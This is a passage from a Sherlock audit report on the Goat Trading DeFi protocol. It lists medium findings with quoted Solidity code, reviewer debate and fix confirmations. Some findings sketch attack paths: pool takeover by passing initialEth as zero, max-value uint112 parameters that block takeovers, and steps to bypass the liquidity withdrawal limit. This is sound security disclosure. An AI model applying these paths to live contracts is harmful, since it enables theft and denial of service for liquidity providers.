@FastTiger777 , I understand the issue you highlighted in the report where `addLiquidity` fails if `initialETH` is less than `bootstrapETH`. because initialTokenMatch being sent to `GoatV1Pair` instead of `tokenAmtForPresale + tokenAmtForAmm`, which then causes the mint function in `GoatV1Pair` to revert. However, this does not constitute a denial of service (DOS) as it affects only that specific transaction. The deployer can resolve this by transferring the difference then calling mint so it matches the required sum, thereby allowing the transaction to succeed. this doesn't qualify for a DOS because of only reverting that transaction. If you believe that this warants a medium severity, could you please provide an attack path of how there can be a DOS.

FastTiger777

> The deployer can resolve this by transferring the difference then calling mint so it matches the required sum, thereby allowing the transaction to succeed. this doesn't qualify for a DOS because of only reverting that transaction. If you believe that this warants a medium severity, could you please provide an attack path of how there can be a DOS.

As you mentioned, for the transaction to succeed, the LP must transfer an amount

of ETH equivalent to bootstraETH. This is the basic point of what you mentioned. However, the reason I emphasize this problem is that sending the required amount of ETH destroys the bootstrap function, which is the core function of this protocol. Please check the DOC and entire code base again.

DOC:

> For teams: When creating our MVP, inedibleX, we faced problems with teams not being able to create multiple pools because of a lack of Ether to match their tokens for a new pool, and new tokens being immediately sniped and dumped when they had inadequate liquidity, leading to a crash in the charts and death of the token. The solution for both of these problems was the same: allow a pool to be created without any matching Ether liquidity, and use natural market movements of the token to generate the Ether required for a traditional liquidity pool. This creates a product that allows a sale to generate funds for the pool to occur while users enjoy trading as they would on any other token. Teams can now, whether creating their very first token pool or adding to one of their many on different chains, launch a pool with 0 Ether while providing the same experience to which users are accustomed.

adamidarrha

@FastTiger777, there's no need to transfer bootstrapETH. if you don't give bootstrapETH then `GoatV1Router:addLiquidity` call will revert. However, the deployer can directly call `GoatV1Pair:mint` with the correct amount of tokens to ensure success, as previously mentioned.

@Evert0x, this issue describes a scenario where a transaction to `GoatV1Router:addLiquidity` reverts under specific conditions: namely, when a pool isn't deployed and the initial deployer opts to provide initialETH less than bootstrapETH. The router is merely a contract implementing safety checks, and a reverting transaction here does not signify a threat, as the user can simply execute `GoatV1Pair:mint` directly.

According to Sherlock documentation, medium severity requires:

- Constrained loss of funds
- Break in core protocol functionality

the issue doesn't result in a loss of funds, nor breaks any functionality so It has no real impact and should therefore be classified as low severity.

i can provide POC if needed.

FastTiger777

Calling `GoatV1Pair:mint` directly is not a preferred manipulation of the protocol, but a kind of attack. Think about it carefully. If a pool does not initially exist, the

protocol prefers to create a pool in addLiquidity().

FastTiger777

@Evert0x , as a result, I think it should be set high.

adamidarrha

@FastTiger777 the point is there is no impact of the issue that you stated. it can just be bypassed by directly calling mint, so it should be low unless you specify an attack path for it to warant a medium.

FastTiger777

In the report, I clearly mentioned that the bootsrtap function of the protocol is damaged due to front running attacks, and I think this has already been discussed accurately previously. Discussions on this have already progressed sufficiently, so I believe the judges will make the right decision.

adamidarrha

@FastTiger777 we will let the judge decide, i can also provide a poc to show why it's low impact

FastTiger777

What is clear is that core functionality of the protocol is broken.

> According to Sherlock documentation, medium severity requires:
>
> Constrained loss of funds Break in core protocol functionality

Therefore, this problem meets the above conditions.

> In sherlock docs IV. How to identify a high issue: Definite loss of funds without (extensive) limitations of external conditions.

Also, when creating any pool, the core functionality of the protocol is damaged due to front running attacks, and as a result, initial LPs always pay more funds, so this is always a loss from the LP's perspective. Therefore, this issue meets the above high condition.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/inedibleX/goat-trading/pull/9

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-2: No check for `initialEth` in `GoatV1Pair.takeOverPool()`.

Source:
https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/43

Found by

whitehair0330

Summary

GoatV1Pair.takeOverPool() only checks the amount of `token` for initialization, not `initialETH`.

Vulnerability Detail

https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/exchange/GoatV1Pair.sol#L452-L538

```
    function takeOverPool(GoatTypes.InitParams memory initParams) external {
        if (_vestingUntil != _MAX_UINT32) {
            revert GoatErrors.ActionNotAllowed();
        }

        GoatTypes.InitialLPInfo memory initialLpInfo = _initialLPInfo;

        GoatTypes.LocalVariables_TakeOverPool memory localVars;
        address to = msg.sender;
        localVars.virtualEthOld = _virtualEth;
        localVars.bootstrapEthOld = _bootstrapEth;
        localVars.initialTokenMatchOld = _initialTokenMatch;

        (localVars.tokenAmountForPresaleOld, localVars.tokenAmountForAmmOld) =
↪   _tokenAmountsForLiquidityBootstrap(
            localVars.virtualEthOld,
            localVars.bootstrapEthOld,
            initialLpInfo.initialWethAdded,
            localVars.initialTokenMatchOld
        );

        // new token amount for bootstrap if no swaps would have occured
        (localVars.tokenAmountForPresaleNew, localVars.tokenAmountForAmmNew) =
↪   _tokenAmountsForLiquidityBootstrap(
            initParams.virtualEth, initParams.bootstrapEth,
↪   initParams.initialEth, initParams.initialTokenMatch
        );
```

```
        // team needs to add min 10% more tokens than the initial lp to take over
        localVars.minTokenNeeded =
            ((localVars.tokenAmountForPresaleOld +
↪   localVars.tokenAmountForAmmOld) * 11000) / 10000;

481     if ((localVars.tokenAmountForAmmNew +
↪   localVars.tokenAmountForPresaleNew) < localVars.minTokenNeeded) {
            revert GoatErrors.InsufficientTakeoverTokenAmount();
        }

        localVars.reserveEth = _reserveEth;

        // Actual token amounts needed if the reserves have updated after
↪   initial lp mint
        (localVars.tokenAmountForPresaleNew, localVars.tokenAmountForAmmNew) =
↪   _tokenAmountsForLiquidityBootstrap(
            initParams.virtualEth, initParams.bootstrapEth,
↪   localVars.reserveEth, initParams.initialTokenMatch
        );
        localVars.reserveToken = _reserveToken;

        // amount of tokens transferred by the new team
        uint256 tokenAmountIn = IERC20(_token).balanceOf(address(this)) -
↪   localVars.reserveToken;

        if (
            tokenAmountIn
                < (
                    localVars.tokenAmountForPresaleOld +
↪   localVars.tokenAmountForAmmOld - localVars.reserveToken
                        + localVars.tokenAmountForPresaleNew +
↪   localVars.tokenAmountForAmmNew
                )
        ) {
            revert GoatErrors.IncorrectTokenAmount();
        }

        localVars.pendingLiquidityFees = _pendingLiquidityFees;
        localVars.pendingProtocolFees = _pendingProtocolFees;

        // amount of weth transferred by the new team
        uint256 wethAmountIn = IERC20(_weth).balanceOf(address(this)) -
↪   localVars.reserveEth
            - localVars.pendingLiquidityFees - localVars.pendingProtocolFees;

        if (wethAmountIn < localVars.reserveEth) {
```


```
            revert GoatErrors.IncorrectWethAmount();
        }

        _handleTakeoverTransfers(
            IERC20(_weth), IERC20(_token), initialLpInfo.liquidityProvider,
↪   localVars.reserveEth, localVars.reserveToken
        );

        uint256 lpBalance = balanceOf(initialLpInfo.liquidityProvider);
        _burn(initialLpInfo.liquidityProvider, lpBalance);

        // new lp balance
        lpBalance = Math.sqrt(uint256(initParams.virtualEth) *
↪   initParams.initialTokenMatch) - MINIMUM_LIQUIDITY;
        _mint(to, lpBalance);

        _updateStateAfterTakeover(
            initParams.virtualEth,
            initParams.bootstrapEth,
            initParams.initialTokenMatch,
            wethAmountIn,
            tokenAmountIn,
            lpBalance,
            to,
            initParams.initialEth
        );
    }
```

Although there is a check for the amount of `token` at L481, if the caller sets `initParams.initialEth` to 0, it can easily pass L481 because a smaller `initParams.initialEth` results in a larger `localVars.tokenAmountForAmmNew + localVars.tokenAmountForPresaleNew`. This is due to the fact that the former initial provider's `initialEth` does not have any effect in preventing takeovers.

Impact

A pool could be unfairly taken over because the former initial provider's `initialEth` does not have any effect in preventing takeovers.

Code Snippet

https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/exchange/GoatV1Pair.sol#L452-L538

Tool used

Manual Review

Recommendation

There should be a check for `initParams.initialEth`.

Discussion

chiranz

Even if check is bypassed L481 it will revert here L510-L515

chiranz

> Even if check is bypassed L481 it will revert here L510-L515

I misread your finding.. It's valid when initialEth used by someone is non zero but the one who is taking over can pass initialEth as 0 and take over pool.

zzykxx

Escalate

I'm not 100% sure about this, but there is a good chance this is a duplicate of #46. Escalating for further discussion.

sherlock-admin2

> Escalate
>
> I'm not 100% sure about this, but there is a good chance this is a duplicate of #46. Escalating for further discussion.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

whitehair0330

In issue #46, they also mentioned L481 a bit; however, it only discussed checking `virtualEth` and not `initialEth`.

chiranz

I agree that this bug is independent of #46. So, not a duplicate.

cvetanovv

I agree with the @chiranz

whitehair0330

Hello everyone, please review this issue again. I think that it is a high severity issue.

Evert0x

Planning to reject escalation and keep issue state as is

Evert0x

Result: Medium Unique

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- zzykxx: rejected

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/inedibleX/goat-trading/pull/6

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-3: Legitimate pools can be taken over and the penalty is not fair.

Source: https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/46

Found by

kennedy1030, whitehair0330

Summary

In GoatV1Pair.takeOverPool(), a malicious user can take over pool from a legitimate user, because the mechanism for identifying is incorrect. And the penalty mechanism is not fair.

Vulnerability Detail

GoatV1Pair.takeOverPool() function exists to avoid grief, because only one pool can be created for each token. Doc says "They can then lower the amount of virtual Ether or Ether to be raised, but not make it higher." about GoatV1Pair.takeOverPool(). However, there is no checking for the amount of virtual Ether. This made it possible that legitimate pools can be taken over by malicious users.

L481 and L496 checks the amount of tokens, but there is no check for virtual Ether or Ether to be raised. So, a malicious user can take over a legitimate pool without any cost. He can remove his cost by increasing the amount of virtual Ether or reserved Ether. Paying +10 percent token can do nothing with it. Furthermore, the old liquidity provider should pay 5% penalty. This is very unfair. Generally, a malicious user have no Ether reserved. So, it is only harmful to legitimate users.

https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/exchange/GoatV1Pair.sol#L453-L538

```
    function takeOverPool(GoatTypes.InitParams memory initParams) external {
        if (_vestingUntil != _MAX_UINT32) {
            revert GoatErrors.ActionNotAllowed();
        }

        GoatTypes.InitialLPInfo memory initialLpInfo = _initialLPInfo;

        GoatTypes.LocalVariables_TakeOverPool memory localVars;
        address to = msg.sender;
        localVars.virtualEthOld = _virtualEth;
```

```
        localVars.bootstrapEthOld = _bootstrapEth;
        localVars.initialTokenMatchOld = _initialTokenMatch;

        (localVars.tokenAmountForPresaleOld, localVars.tokenAmountForAmmOld) =
↪   _tokenAmountsForLiquidityBootstrap(
            localVars.virtualEthOld,
            localVars.bootstrapEthOld,
            initialLpInfo.initialWethAdded,
            localVars.initialTokenMatchOld
        );

        // new token amount for bootstrap if no swaps would have occured
        (localVars.tokenAmountForPresaleNew, localVars.tokenAmountForAmmNew) =
↪   _tokenAmountsForLiquidityBootstrap(
            initParams.virtualEth, initParams.bootstrapEth,
↪   initParams.initialEth, initParams.initialTokenMatch
        );

        // team needs to add min 10% more tokens than the initial lp to take over
        localVars.minTokenNeeded =
            ((localVars.tokenAmountForPresaleOld +
↪   localVars.tokenAmountForAmmOld) * 11000) / 10000;

481     if ((localVars.tokenAmountForAmmNew +
↪   localVars.tokenAmountForPresaleNew) < localVars.minTokenNeeded) {
            revert GoatErrors.InsufficientTakeoverTokenAmount();
        }

        localVars.reserveEth = _reserveEth;

        // Actual token amounts needed if the reserves have updated after
↪   initial lp mint
        (localVars.tokenAmountForPresaleNew, localVars.tokenAmountForAmmNew) =
↪   _tokenAmountsForLiquidityBootstrap(
            initParams.virtualEth, initParams.bootstrapEth,
↪   localVars.reserveEth, initParams.initialTokenMatch
        );
        localVars.reserveToken = _reserveToken;

        // amount of tokens transferred by the new team
        uint256 tokenAmountIn = IERC20(_token).balanceOf(address(this)) -
↪   localVars.reserveToken;

        if (
496         tokenAmountIn
497             < (
```

```
498                 localVars.tokenAmountForPresaleOld +
↪  localVars.tokenAmountForAmmOld - localVars.reserveToken
499                     + localVars.tokenAmountForPresaleNew +
↪  localVars.tokenAmountForAmmNew
500             )
        ) {
            revert GoatErrors.IncorrectTokenAmount();
        }

        localVars.pendingLiquidityFees = _pendingLiquidityFees;
        localVars.pendingProtocolFees = _pendingProtocolFees;

        // amount of weth transferred by the new team
        uint256 wethAmountIn = IERC20(_weth).balanceOf(address(this)) -
↪  localVars.reserveEth
            - localVars.pendingLiquidityFees - localVars.pendingProtocolFees;

        if (wethAmountIn < localVars.reserveEth) {
            revert GoatErrors.IncorrectWethAmount();
        }

        _handleTakeoverTransfers(
            IERC20(_weth), IERC20(_token), initialLpInfo.liquidityProvider,
↪  localVars.reserveEth, localVars.reserveToken
        );

        uint256 lpBalance = balanceOf(initialLpInfo.liquidityProvider);
        _burn(initialLpInfo.liquidityProvider, lpBalance);

        // new lp balance
        lpBalance = Math.sqrt(uint256(initParams.virtualEth) *
↪  initParams.initialTokenMatch) - MINIMUM_LIQUIDITY;
        _mint(to, lpBalance);

        _updateStateAfterTakeover(
            initParams.virtualEth,
            initParams.bootstrapEth,
            initParams.initialTokenMatch,
            wethAmountIn,
            tokenAmountIn,
            lpBalance,
            to,
            initParams.initialEth
        );
    }
```

Impact

Legitimate pools can be taken over unfairly.

Code Snippet

https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/exchange/GoatV1Pair.sol#L453-L538

Tool used

Manual Review

Recommendation

I think that the mechanism for identifying should be improved.

Discussion

kennedy1030

I think that this issue should be high severity. Any legitimate pools can be overtaken, which leads to fund loss of the owner of the pair. So, not only likelihood is high, but also the impact is loss of fund. I can understand why this issue was judged as medium severity.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/inedibleX/goat-trading/pull/9

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-4: The router is not compatible with fee on transfers tokens

Source: https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/67

Found by

1337, MohammedRizwan, Solidity_ATL_Team_2, joshuajee, juan, zzykxx

Summary

The router is not compatible with fee on transfers tokens.

Vulnerability Detail

Let's take as example the removeLiquidity function:

```
address pair = GoatV1Factory(FACTORY).getPool(token);

IERC20(pair).safeTransferFrom(msg.sender, pair, liquidity); //-> 1. Transfers
↪  liquidity tokens to the pair
(amountWeth, amountToken) = GoatV1Pair(pair).burn(to); //-> 2. Burns the
↪  liquidity tokens and sends WETH and TOKEN to the recipient
if (amountWeth < wethMin) { //-> 3. Ensures enough WETH has been transferred
    revert GoatErrors.InsufficientWethAmount();
}
if (amountToken < tokenMin) { //4. Ensures enough TOKEN has been transferred
    revert GoatErrors.InsufficientTokenAmount();
}
```

It does the following:

1. Transfers liquidity tokens to the pair.
2. Burns the liquidity tokens and sends WETH and TOKEN to the recipient `to`.
3. Ensures enough WETH has been transferred.
4. Ensures enough TOKEN has been transferred.

At point `4` the router doesn't account for the fee paid to transfer TOKEN. The recipient didn't actually receive `amountToken`, but slightly less because a fee has been charged.

Another interesting example is the removeLiquidityETH which first burns the liquidity and transfers the tokens to the router itself, and then from the router the

tokens are transferred to the recipient. This will charge double the fees.

This is just two examples to highlight the fact that these kind of tokens are not supported, but the other functions in the router have similar issues that can cause all sorts of trouble including reverts and loss of funds.

Impact

The router is not compatible with fee on transfers tokens.

Code Snippet

Tool used

Manual Review

Recommendation

Add functionality to the router to support fee on transfer tokens, a good example of where this is correctly implememented is the Uniswap Router02.

Discussion

sherlock-admin4

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> as per the readMe the contract should support FOT; medium(1)

F01ivor4

I think issue https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/40 is not same

F01ivor4

The problem is on the router. And https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/40 is wrong.

F01ivor4

Also, https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/3 is wrong

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/inedibleX/goat-trading/pull/7

zzykxx

Looks good, the following functions have been added to the `GoatRouterV1` contract in order to support fee on transfer tokens:

- `removeLiquidityETHSupportingFeeOnTransferTokens()`
- `swapExactTokensForTokensSupportingFeeOnTransferTokens()`
- `swapExactWethForTokensSupportingFeeOnTransferTokens()`
- `swapETHForExactTokensSupportingFeeOnTransferTokens()`
- `swapExactTokensForWethSupportingFeeOnTransferTokens()`

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-5: It's possible to create pairs that cannot be taken over

Source: https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/69

Found by

y4y, zzykxx

Summary

It's possible to create pairs that cannot be taken over and DOS a pair forever.

Vulnerability Detail

A pair is created by calling createPair() which takes the initial parameters of the pair as inputs but the initial parameters are never verified, which makes it possible for an attacker to create a token pair that's impossible to recover via takeOverPool().

There's more ways to create a pair that cannot be taken over, a simple example is to set all of the initial parameters to the maximum possible value:

```
uint112 virtualEth = type(uint112).max;
uint112 bootstrapEth = type(uint112).max;
uint112 initialEth = type(uint112).max;
uint112 initialTokenMatch = type(uint112).max;
```

This will make takeOverPool() revert for overflow on the internal call to _tokenAmountsForLiquidityBootstrap:

```
uint256 k = virtualEth * initialTokenMatch;
@> tokenAmtForAmm = (k * bootstrapEth) / (totalEth * totalEth);
```

Here `virtualEth`, `initialTokenMatch` and `bootstrapEth` are all setted to `type(uint112).max`. The multiplication `virtualEth * initialTokenMatch * bootstrapEth` performed to calculate `tokenAmtForAmm` will revert for overflow because `2^112 * 2^112 * 2^112 = 2^336` which is bigger than `2^256`.

Impact

Creation of new pairs can be DOSed forever.

Code Snippet

Tool used

Manual Review

Recommendation

Validate a pair initial parameters and mint liquidity on pool creation.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/inedibleX/goat-trading/pull/10

zzykxx

Looks good, fixes regarding #18, #46, #43, and #69 all involved changes at the `takeOverPool()` function, summarizing here for all of the issues:

- The penalty has been removed
- `takeOverPool()` now correctly handles the scenario of a pool having 0 liquidity
- The new `initialEth` parameter is now being correctly checked against the old one
- The new `virtualEth` parameter is now being correctly checked against the old one
- The minimum amount of extra tokens required to take over the pool has been increased from 10% to 30%

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-6: Initial Liquidity provider can bypass the withdrawal limit

Source: https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/94

Found by

AhmedAdam

Summary

the initial liquidity provider can bypass maximum withdrawal limit and withdraw all the liquidity that he has leading to a rug pull.

Vulnerability Detail

According to the protocol documentation, mandatory liquidity locks are implemented, restricting the initial liquidity provider to withdraw only 25% of their liquidity each week. The check for this restriction is enforced within the `_beforeTokenTransfer` function as follows:

but this check isn't done if the number of withdrawals left for the lp is 1. so the initial liquidity provider can withdraw the whole amount of lp tokens that he has, bypassing the 25% limit.

Proof of Concept:

- Assume the initial liquidity provider holds 100 LP tokens of the pair tokenA/WETH, and the pool is in the AMM phase.
- Over the first three weeks, they burn 1 LP token each week.
- By the fourth week, they have 97 LP tokens remaining, and they withdraw all of them.
- This action effectively results in a rug pull, harming the users of the protocol.

Impact

a key invariant of the system gets breached by having the inital liquidity provider able to bypass the withdraw limit

Code Snippet

https://github.com/sherlock-audit/2024-03-goat-trading/blob/beb09519ad0c0ec0fdf5b96060fe5e4aafd71cff/goat-trading/contracts/exchange/GoatV1Pair.sol#L886-L909

Tool used

Manual Review

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/inedibleX/goat-trading/pull/8

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.